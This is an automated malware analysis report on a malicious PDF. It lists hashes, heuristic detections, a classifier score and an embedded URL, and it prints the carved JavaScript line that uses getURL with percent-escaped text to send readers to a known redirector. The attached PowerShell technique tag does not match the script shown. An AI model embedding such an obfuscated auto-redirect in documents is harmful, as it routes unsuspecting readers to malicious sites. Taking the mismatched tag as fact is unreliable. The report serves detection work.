PDF malware analysis — malicious · 737f7e7c6162b36f

MALICIOUS

PDF

76.9 KB Created: 2012-10-18 03:22:09 +04:00 Authoring application: ï¿½ï¿½http://www.instructables.com (via ï¿½ï¿½mPDF 5.0) First seen: 2015-09-18

MD5: 5cd57eb8934dfec9a6391445e0f774a0 SHA-1: c8ecfb5a338aab5bb4031f8633ca06028ecbd87c SHA-256: 737f7e7c6162b36fd38511d14e0feec36b3b7a79fbbde92ca217f2e2ebc17907

168 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings related to PDF JavaScript actions and streams. The extracted JavaScript file, 'javascript_obj0029_000.js', is obfuscated, suggesting it is designed to perform malicious actions such as downloading and executing a second-stage payload. The authoring application metadata also points to a potential source for malicious content.

Machine Learning

Nyx PDF Classifier malicious score 0.9934

Heuristics 6

JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
WwwSearchSites obfuscated getURL redirector critical PDF_JS_WWWSEARCHSITES_GETURL_REDIRECTOR

PDF document-level JavaScript automatically opens the known wwwsearchsites.com/in.cgi?10 redirector from a percent-escaped getURL() target. This is a known malicious redirector carrier family, not evidence of a PDF parser CVE.
Obfuscated document JavaScript getURL redirector high PDF_JS_OBFUSCATED_GETURL_REDIRECTOR

PDF document-level JavaScript automatically calls getURL() on an HTTP(S) destination hidden behind percent escapes. The decoded path is a redirector-style endpoint such as /in.cgi or /go.php. This is malicious routing behavior rather than a PDF parser CVE.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://wwwsearchsites.com/in.cgi?10 Referenced by PDF JavaScript

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0029_000.js`	pdf-javascript-stream	PDF /JS object 29 at offset 0x12CC0	130 bytes
SHA-256: `8139b0ff1cb1654f40fa2e0f4917ed84cccbab34fc1337b3c5ec2c588eb4b083`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script First 1,000 lines of the extracted script this.getURL(unescape('%68%74%74%70%3a%2f%2f%77%77%77%73%65%61%72%63%68%73%69%74%65%73%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%31%30'))

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